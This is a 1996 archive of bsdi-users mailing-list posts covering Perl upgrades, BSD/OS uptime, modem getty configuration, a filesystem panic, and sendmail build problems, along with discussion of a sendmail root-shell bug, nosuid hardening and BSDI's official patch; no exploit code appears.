command line above should be cat | makemap -v -o hash Amy :) From VM Mon Nov 18 23:30:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["306" "Mon" "18" "November" "1996" "14:19:36" "-0800" "Jon Drukman" "jsd@cyborganic.com" nil "15" "Re: Perl 5.00? (and a thank you to all)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA20932 for ; Mon, 18 Nov 1996 17:37:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA06454 for bsdi-users-outgoing; Mon, 18 Nov 1996 17:37:48 -0500 (EST) Message-Id: <9611181419.ZM3295@secure.cyborganic.com> In-Reply-To: Bill Nestlerode "Re: Perl 5.00? (and a thank you to all)" (Nov 18, 11:38am) References: <199611181838.LAA00642@tao.bsdi.com> X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Jon Drukman" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Perl 5.00? (and a thank you to all) Date: Mon, 18 Nov 1996 14:19:36 -0800 On Nov 18, 11:38am, Bill Nestlerode wrote: > You should have PERL 4.0 and 5.001 i highly recommend perl 5.003 actually. erehwon [7] perl -v This is perl, version 5.003 with EMBED built under bsdos at Oct 29 1996 11:59:23 + suidperl security patch -- Jon Drukman / jsd@cyborganic.com From VM Mon Nov 18 23:30:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["306" "Mon" "18" "November" "1996" "14:19:36" "-0800" "Jon Drukman" "jsd@cyborganic.com" nil "15" "Re: Perl 5.00? (and a thank you to all)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA20937 for ; Mon, 18 Nov 1996 17:40:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA06421 for bsdi-users-outgoing; Mon, 18 Nov 1996 17:25:18 -0500 (EST) Message-Id: <9611181419.ZM3295@secure.cyborganic.com> In-Reply-To: Bill Nestlerode "Re: Perl 5.00? (and a thank you to all)" (Nov 18, 11:38am) References: <199611181838.LAA00642@tao.bsdi.com> X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Jon Drukman" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Perl 5.00? (and a thank you to all) Date: Mon, 18 Nov 1996 14:19:36 -0800 On Nov 18, 11:38am, Bill Nestlerode wrote: > You should have PERL 4.0 and 5.001 i highly recommend perl 5.003 actually. erehwon [7] perl -v This is perl, version 5.003 with EMBED built under bsdos at Oct 29 1996 11:59:23 + suidperl security patch -- Jon Drukman / jsd@cyborganic.com From VM Mon Nov 18 23:30:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["970" "Tue" "19" "November" "1996" "09:58:09" "+1100" "Ross Wheeler" "rossw@albury.net.au" nil "21" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA21738 for ; Mon, 18 Nov 1996 18:06:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA06533 for bsdi-users-outgoing; Mon, 18 Nov 1996 17:58:39 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ross Wheeler Sender: owner-bsdi-users@lists.gateway.com To: Evan Champion cc: Henry Spencer , BSDI Users Mailing List Subject: Re: Dual Homing w/BSDI or 25xx? Date: Tue, 19 Nov 1996 09:58:09 +1100 (EST) > > At the last LISA conference, in some context or other there was mention of > > one-year uptimes on CompuServe's BSDI boxes, and somebody commented from > > the audience: "the key is not to touch them". > > In a lot of ways, that's true. I make a special effort to do as little > as possible with my router, and the only downtime it has ever had has > been scheduled (for upgrades, etc.) I have absolutely no doubt uptimes of a year or more are achievable. I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a host of other things, currently at 78 days uptime (interrupted for a hardware upgrade), before that up for 67 days (interrupted for a relocation) and prior to that, up for 130 days (interrupted by a UPS failure).... It hasn't spontaneously rebooted (ever) and the times it has required a re-boot have been due to external factors, not the OS. RossW From VM Mon Nov 18 23:30:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["5191" "Sun" "15" "September" "1996" "17:58:43" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "231" "modem comm problems." "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA22010 for ; Mon, 18 Nov 1996 18:14:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA06548 for bsdi-users-outgoing; Mon, 18 Nov 1996 17:59:18 -0500 (EST) Message-ID: <323C8A23.ECB@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: modem comm problems. Date: Sun, 15 Sep 1996 17:58:43 -0500 to bsdi-users@bsdi.com (system setup for testing and learning) I have a US robotics 28800 on server com 2, calling in with another US robotics 28800. Server on left side, client on right side of desk. as you can see from TTYS tty01 set for 57600-hf. when I call in with vt102 emulation, can only connect if tty01 set for 57600-hf, and client modem set for 19200 or greater. acts as if it will not communicate at lower speeds. have tried several different methods. When it does connect, works fine, however if I try to limit the fixed rate to 19200, connects but no communication. Have included TTYS and Gettytab files. # BSDI $Id: ttys,v 2.1 1995/02/03 05:54:46 polk Exp $ # # @(#)ttys 5.2 (Berkeley) 6/10/93 # # Removing the secure flag from console will also cause init to require # the root password before going into single-user mode. You can disable # this by recompiling init without the -DSECURE option. # # Use ``kill -HUP 1'' to make init(8) re-read this file when changes are made. # # Changes to the order of entries or number of ttys should only be made in # single-user mode. # # name getty type status comments # console "/usr/libexec/getty pccons" ibmpc3 on secure # Virtual consoles (named after the function key used to reach them) ttyc2 "/usr/libexec/getty pccons" ibmpc3 off secure ttyc3 "/usr/libexec/getty pccons" ibmpc3 off secure ttyc4 "/usr/libexec/getty pccons" ibmpc3 off secure ttyc5 "/usr/libexec/getty pccons" ibmpc3 off secure ttyc6 "/usr/libexec/getty pccons" ibmpc3 off secure ttyc7 "/usr/libexec/getty pccons" ibmpc3 off secure ttyc8 "/usr/libexec/getty pccons" ibmpc3 off secure # PC COM ports (tty00 is DOS COM1) tty00 "/usr/libexec/getty std.9600" unknown off tty01 "/usr/libexec/getty bidir.57600-hf" dialup on tty02 "/usr/libexec/getty std.9600" unknown off tty03 "/usr/libexec/getty std.9600" unknown off ttyp0 none network ttyp1 none network ttyp2 none network ttyp3 none network #start of gettytab *****************************8 # default:\ :sp#9600:im=\r\n\r\nBSDI BSD/OS 2.1 (%h) (%t)\r\n\r\n: P|Pc|pccons|Pc console:\ :np:sp#9600: # # Fixed speed entries # # The "std.NNN" names are known to the special case # portselector code in getty, however they can # be assigned to any table desired. # The "NNN-baud" names are known to the special case # autobaud code in getty, and likewise can # be assigned to any table desired (hopefully the same speed). # a|std.110|110-baud:\ :sp#110: b|std.134|134.5-baud:\ :ep:sp#134:ht:nl: 1|std.150|150-baud:\ :ep:sp#150:ht:nl:lm=\E\72\6\6\17login\72 : c|std.300|300-baud:\ :sp#300: d|std.600|600-baud:\ :sp#600: f|std.1200|1200-baud:\ :sp#1200: 6|std.2400|2400-baud:\ :sp#2400: 7|std.4800|4800-baud:\ :sp#4800: 2|std.9600|9600-baud:\ :sp#9600: g|std.19200|19200-baud:\ :sp#19200: h|std.38400|38400-baud:\ :sp#38400: i|std.57600|57600-baud:\ :sp#57600: j|std.76800|76800-baud:\ :sp#76800: k|std.115200|115200-baud:\ :sp#115200: # Hardwired terminals (no hardware carrier detect) hw.9600:\ :hw:tc=9600-baud: hw.19200:\ :hw:tc=19200-baud: hw.38400:\ :hw:tc=38400-baud: hw.57600:\ :hw:tc=57600-baud: hw.76800:\ :hw:tc=76800-baud: hw.115200:\ :hw:tc=115200-baud: # # Fast, fixed-DCE-speed modem with hardware flow control enabled. # bidir.57600|bidirectional line, locked DCE speed:\ :bi:sp#57600:de#1: bidir.57600-hf|bidirectional line, locked DCE speed, hardware flow:\ :bi:hf:sp#57600:de#1: t57600:\ :sp#57600:de#1: t57600-hf:\ :hf:sp#57600:de#1: # # 2400/1200/300 Dialup rotary (can start either way) # D2400|d2400|Fast-Dial-2400:\ :nx=D1200:tc=2400-baud: 3|D1200|Fast-Dial-1200:\ :nx=D300:tc=1200-baud: 5|D300|Fast-Dial-300:\ :nx=D2400:tc=300-baud: # # 9600/2400/1200 Dialup rotary # The "bidir" entry allows dial-in and dial-out on same device # bidir.9600:\ :bi:nx=t2400a:tc=9600-baud: t9600a:\ :nx=t2400a:tc=9600-baud: t2400a:\ :nx=t1200a:tc=2400-baud: t1200a:\ :nx=t9600a:tc=1200-baud: # # 19200/9600/2400/1200 Dialup rotary # The "bidir" entry allows dial-in and dial-out on same device # bidir.19200:\ :bi:nx=t9600:tc=19200-baud: t19200:\ :nx=t9600:tc=19200-baud: t9600:\ :nx=t2400:tc=9600-baud: t2400:\ :nx=t1200:tc=2400-baud: t1200:\ :nx=t19200:tc=1200-baud: # # Odd special case terminals # -|tty33|asr33|Pity the poor user of this beast:\ :tc=110-baud: 4|Console|Console Decwriter II:\ :rw:tc=300-baud: e|Console-1200|Console Decwriter III:\ :rw:tc=1200-baud: l|lsi chess terminal:\ :sp#300: X|Xwindow|X Window System:\ :rw:sp#9600: # # Wierdo special case for fast crt's with hardcopy devices # 8|T9600|CRT with hardcopy:\ :nx=T300:tc=9600-baud: 9|T300|CRT with hardcopy (300):\ :nx=T9600:tc=300-baud: # # Plugboard, and misc other terminals # plug-9600|Plugboard-9600:\ :pf#1:tc=9600-baud: p|P9600|Plugboard-9600-rotary:\ :pf#1:nx=P300:tc=9600-baud: q|P300|Plugboard-300:\ :pf#1:nx=P1200:tc=300-baud: r|P1200|Plugboard-1200:\ :pf#1:nx=P9600:tc=1200-baud: # # XXXX Port selector # s|DSW|Port Selector:\ :ps:sp#2400: # # Auto-baud speed detect entry for Micom 600. # Special code in getty will switch this out # to one of the NNN-baud entries. # A|Auto-baud:\ :ab:sp#2400:m0=parenb,parodd: From VM Mon Nov 18 23:30:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["974" "Mon" "18" "November" "1996" "17:15:07" "-0600" "Orlando Alberto Furlan Artiga" "furlan@ibw.com.ni" nil "44" "Perl 5.003 and BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA22024 for ; Mon, 18 Nov 1996 18:23:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA06595 for bsdi-users-outgoing; Mon, 18 Nov 1996 18:23:26 -0500 (EST) Message-ID: <3290EDFB.2E74@ibw.com.ni> Reply-To: furlan@ibw.com.ni Organization: IBW Communications X-Mailer: Mozilla 3.0 (Win95; I) MIME-Version: 1.0 References: <199611181838.LAA00642@tao.bsdi.com> <9611181419.ZM3295@secure.cyborganic.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Orlando Alberto Furlan Artiga Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Perl 5.003 and BSDI Date: Mon, 18 Nov 1996 17:15:07 -0600 Jon Drukman wrote: > > On Nov 18, 11:38am, Bill Nestlerode wrote: > > You should have PERL 4.0 and 5.001 > > i highly recommend perl 5.003 actually. > > erehwon [7] perl -v > > This is perl, version 5.003 with EMBED > built under bsdos at Oct 29 1996 11:59:23 > + suidperl security patch > > -- > Jon Drukman / jsd@cyborganic.com Hello all ! I just download Perl 5.003 and I want to install this program in bsdi. I would like to know what modification are necesary to install correctly this program and substitute the old one. Thanks for this help in advance Greetings from Nicaragua. -- / \ // \\ /// \\\ /// \\\ \\\ ||||| /// Orlando Furlan \\\\ \-/ //// IBW Communications \\\\ \-/ //// mailto:furlan@ibw.com.ni \\\\\\-////// \\\\\-///// \\\-/// \-/ \-/ - | From VM Mon Nov 18 23:30:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["526" "Mon" "18" "November" "1996" "17:25:35" "-0600" "david@news1.anet-dfw.com" "david@news1.anet-dfw.com" nil "22" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA22298 for ; Mon, 18 Nov 1996 18:29:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA06603 for bsdi-users-outgoing; Mon, 18 Nov 1996 18:26:03 -0500 (EST) In-Reply-To: <9611181818.ZM6838@masschaos.de.convex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: david@news1.anet-dfw.com Sender: owner-bsdi-users@lists.gateway.com To: Ray Davis cc: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 17:25:35 -0600 (CST) On Mon, 18 Nov 1996, Ray Davis wrote: > > Also, you > > will get much better switching from an actual router, and a bsdi box running > > a routing daemon. There are also various security issues involved with > > running a unix box as your router. > > As I understand it, the "OS" for the NetStar/Ascend GigaRouter > is BSD/OS. :) There is a lot extra hardware there, though. > > Cheers, > Ray > No. They did buy out NetStar, however the operating system is hard coded into the system board, and is not BSD/OS. DB From VM Mon Nov 18 23:31:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2251" "Tue" "19" "November" "1996" "11:25:41" "+1100" "ian mcwilliam" "i.mcwilliam@st.nepean.uws.edu.au" nil "62" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA24084 for ; Mon, 18 Nov 1996 19:35:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA06776 for bsdi-users-outgoing; Mon, 18 Nov 1996 19:25:31 -0500 (EST) X-Sender: ianm@mailkwd.st.nepean.uws.edu.au Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: i.mcwilliam@st.nepean.uws.edu.au (ian mcwilliam) Sender: owner-bsdi-users@lists.gateway.com To: Ralph Huntington Cc: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Tue, 19 Nov 1996 11:25:41 +1100 Ralph Huntington wrote :- > >p.s. Perhaps the recent sendmail exploit was posted here (without the > then-unknown fix) with the intent that maybe someone on this list > could quickly come up with a fix. After all, if you can't post > something like that to a list like this (where the good guys hang > out, right?) then who are we kidding? > > - rh I agree. Posting the exploit was a good idea, even though no fix was posted at the same time. We tried the exploit on numerous machines, alpha's running digital unix and dec workstations running ultrix. We were able to exploit digital unix but not the ultrix machines, so we sat down and analyse just what the exploit was doing and why it worked on one and not the other. My point being that just patching the exploit doesn't necessarily remove the problem that may occur with other pieces of software, or other exploits based on the same way this one was written. What we found was that setting nosuid on various file systems (especially /tmp as that was being used in the exploit) would stop this exploit and possibly others written the same way. (that's why it didn't work under ultrix as we had nosuid set on the tmp volume). Having your users home directories on volumes that are nosuid would definately be a GOOD idea, but bsdi's default configuration isn't set up this way. Point: don't just flame people for posting an exploit with out the patch, 'cause some other good may come out of it, such as a general discussion on the above I hope. Catch ya, ____________________________________________________________________________ Ian McWilliam. Technical Officer, Faculty of Science & Technology, Dept. of Computing. University of Western Sydney, NEPEAN. P.O.Box 10 Kingswood, N.S.W, Australia. 2560. (047) 360 757 ____________________________________________________________________________ People Get Lost in Thought 'cause it's Unknown Territory. CHIP - Found on the shoulders of Systems Support Personnel. It becomes Most evident when some fool claims that the computer has made a mistake!!!! ____________________________________________________________________________ E-Mail: ianm@st.nepean.uws.edu.au i.mcwilliam@st.nepean.uws.edu.au From VM Mon Nov 18 23:31:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["178" "Sun" "15" "September" "1996" "19:41:52" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "5" "log in perl script" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA24477 for ; Mon, 18 Nov 1996 19:46:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA06829 for bsdi-users-outgoing; Mon, 18 Nov 1996 19:44:15 -0500 (EST) Message-ID: <323CA250.68E3@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: log in perl script Date: Sun, 15 Sep 1996 19:41:52 -0500 has any one have a good log in script, that allows new callers access to defined areas. Or is their a place to locate public domain scripts that can be modified. Donald Dahlman From VM Mon Nov 18 23:31:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["464" "Mon" "18" "November" "1996" "21:31:53" "+0000" "Jim Cassata" "jim@web-ex.com" nil "18" "Re: Sendmail: Patch and a problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA27162 for ; Mon, 18 Nov 1996 21:33:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA06996 for bsdi-users-outgoing; Mon, 18 Nov 1996 21:27:04 -0500 (EST) Message-Id: <199611190230.VAA19735@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Sendmail: Patch and a problem Date: Mon, 18 Nov 1996 21:31:53 +0000 > I am kinda new to this kind of thing. What do I do with this? I have sendmail 8.8.2 un-tarred and ready to 'makesendmail' would I call this, say sendmailpatch, drop it into my src directory then sh sendmailpatch? Any help would be ppreciated, as always. Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Mon Nov 18 23:31:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["683" "Mon" "18" "November" "1996" "21:37:41" "+0000" "Jim Cassata" "jim@web-ex.com" nil "29" "Re: Accurate patch for sendmail exploit..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA27167 for ; Mon, 18 Nov 1996 21:33:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA07007 for bsdi-users-outgoing; Mon, 18 Nov 1996 21:32:58 -0500 (EST) Message-Id: <199611190236.VAA19740@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: Chip Ach , bsdi-users@BSDI.COM Subject: Re: Accurate patch for sendmail exploit... Date: Mon, 18 Nov 1996 21:37:41 +0000 > *** main.c.orig Sat Nov 16 23:54:52 1996 > --- main.c Sat Nov 16 23:57:13 1996 I got this after trying what you said. What happened??? Anybody?? brain: {161} % patch ; Mon, 18 Nov 1996 21:44:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA07033 for bsdi-users-outgoing; Mon, 18 Nov 1996 21:44:31 -0500 (EST) Message-Id: <2.2.32.19961118234621.006ba164@rockisland.com> X-Sender: mikeg@rockisland.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Mike Greene Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: panic: ffs_valloc: dup alloc Date: Mon, 18 Nov 1996 15:46:21 -0800 My otherwise extremely stable news server started crashing today with these errors each time, mode = 0100664, inum = 100108, fs = /usr/var/news panic: ffs_valloc: dup alloc syncing disks... 95 95 92 84 67 42 19 1 1 1 1 1 1 1 1 1 1 1 1 1 giving up start = 0, len = 2, fs = /usr/var/news panic: ffs_alloccg: map corrupted syncing disks... 42 41 38 29 16 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 giving up I checked Nexial for pointers but found none, anybody have any suggestions for what to check? - Mike ____________________________________________________ Mike Greene (mikeg@rockisland.com) / Internic (MG42) Rock Island Internet / Office Ph. 360.378.5884 From VM Mon Nov 18 23:31:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["923" "Mon" "18" "November" "1996" "22:12:59" "+0000" "Jim Cassata" "jim@web-ex.com" nil "29" "sendmail compile error(s)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA28240 for ; Mon, 18 Nov 1996 22:13:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA07139 for bsdi-users-outgoing; Mon, 18 Nov 1996 22:09:22 -0500 (EST) Message-Id: <199611190312.WAA19768@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: sendmail compile error(s) Date: Mon, 18 Nov 1996 22:12:59 +0000 Hello on compiling sendmail 8.8.2 and now 8.8.3 I get the following as the makesendmail comes to an end: domain.o: Undefined symbol ___res_query referenced from text segment domain.o: Undefined symbol ___res_search referenced from text segment domain.o: Undefined symbol ___dn_expand referenced from text segment domain.o: Undefined symbol ___dn_expand referenced from text segment domain.o: Undefined symbol ___res_init referenced from text segment domain.o: Undefined symbol ___res_querydomain referenced from text segment domain.o: Undefined symbol ___dn_expand referenced from text segment domain.o: Undefined symbol ___dn_expand referenced from text segment main.o: Undefined symbol ___res_init referenced from text segment *** Error code 1 Any Ideas?? Thank you Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Mon Nov 18 23:31:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1602" "Mon" "18" "November" "1996" "20:02:20" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "59" "Re: Sendmail: Patch and a problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA29574 for ; Mon, 18 Nov 1996 23:05:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA07272 for bsdi-users-outgoing; Mon, 18 Nov 1996 23:02:50 -0500 (EST) Message-Id: <3.0.1.32.19961118200146.006abe30@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com Cc: bsdi-users@BSDI.COM Subject: Re: Sendmail: Patch and a problem Date: Mon, 18 Nov 1996 20:02:20 -0800 At 09:31 PM 11/18/96 +0000, Jim Cassata wrote: >> > >I am kinda new to this kind of thing. What do I do with this? >I have sendmail 8.8.2 un-tarred and ready to 'makesendmail' >would I call this, say sendmailpatch, drop it into my src directory >then sh sendmailpatch? Any help would be ppreciated, as always. > > >Jim Cassata >______________________ >jim@web-ex.com >Web Express, Inc. >20 Broadhollow Road >Suite 3011 >Melville, NY 11747 >516.421.6000 >516.421.3882 fax > > Don't bother. BSDI released the "OFFICIAL" patch today... >There is another new sendmail patch available from the patches >server or via the ftp archive at; > ftp://ftp.bsdi.com/bsdi/patches/patches-2.1/U210-029 > >This patch updates sendmail to the latest version (fixing the >bug that's been getting lots of press on bsdi-users over the past >couple of days). > >Here's the README file entry: > >PATCH: > U210-029 > >SUMMARY: > This patch updates sendmail to the official 8.8.3 release which > fixes some security problems from previous versions (mainly > the "root shell by lying about argv[0] and sending a signal" bug > found by Leshka Zakharoff and recently > posted to the bsdi-users@BSDI.COM mailing list). > >md5 checksum: 91bf5fc0e88becf494f9b681c892cb53 U210-029 Of course, if you have already hacked up your "main.c" you will have to pull it back out of the original tar file. Then again, you can get the 8.8.3 tar file from the following url: ftp://ftp.sendmail.org/ucb/src/sendmail -Kent- From VM Mon Nov 18 23:31:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1379" "Mon" "18" "November" "1996" "23:15:01" "-0500" "Chip Ach" "chip@harvard.net" nil "44" "Re: sendmail compile error(s)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA00231 for ; Mon, 18 Nov 1996 23:21:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA07329 for bsdi-users-outgoing; Mon, 18 Nov 1996 23:20:32 -0500 (EST) In-Reply-To: <199611190312.WAA19768@web-ex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chip Ach Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: bsdi-users@BSDI.COM Subject: Re: sendmail compile error(s) Date: Mon, 18 Nov 1996 23:15:01 -0500 (EST) Looks like these should all me in domain.o... Try: nm domain.o in the src/ directory and see what you get. You should see all those and a lot more. If not, try: cc -O2 -I/usr/local/src/sendmail-8.8.3/src/obj.BSD-OS.2.1.i386 -DNEWDB -DNETISO -c domain.c (change the path as need be) Really, however, makesendmail should do EVERYTHING correctly... On Mon, 18 Nov 1996, Jim Cassata wrote: > Hello > on compiling sendmail 8.8.2 and now 8.8.3 I get the following as the > makesendmail comes to an end: > > domain.o: Undefined symbol ___res_query referenced from text segment > domain.o: Undefined symbol ___res_search referenced from text segment > domain.o: Undefined symbol ___dn_expand referenced from text segment > domain.o: Undefined symbol ___dn_expand referenced from text segment > domain.o: Undefined symbol ___res_init referenced from text segment > domain.o: Undefined symbol ___res_querydomain referenced from text segment > domain.o: Undefined symbol ___dn_expand referenced from text segment > domain.o: Undefined symbol ___dn_expand referenced from text segment > main.o: Undefined symbol ___res_init referenced from text segment *** Error > code 1 > > Any Ideas?? > > Thank you > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax > From VM Tue Nov 19 20:17:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["515" "Tue" "19" "November" "1996" "15:02:20" "+1030" "David Newall" "davidn@rebel.net.au" nil "12" "Putting user directories in nosuid filesystems (Exploit for sendmail smtpd bug)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA00240 for ; Mon, 18 Nov 1996 23:29:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA07385 for bsdi-users-outgoing; Mon, 18 Nov 1996 23:32:38 -0500 (EST) Message-Id: <199611190432.PAA30456@rebel.net.au> In-Reply-To: from "ian mcwilliam" at Nov 19, 96 11:25:41 am Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: i.mcwilliam@st.nepean.uws.edu.au (ian mcwilliam) Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Putting user directories in nosuid filesystems (Exploit for sendmail smtpd bug) Date: Tue, 19 Nov 1996 15:02:20 +1030 (CST) ian mcwilliam wrote: > Having your users home directories on volumes that are nosuid > would definately be a GOOD idea, but bsdi's default configuration isn't set > up this way. But SUID programs are an integral part of Unix security and denying users 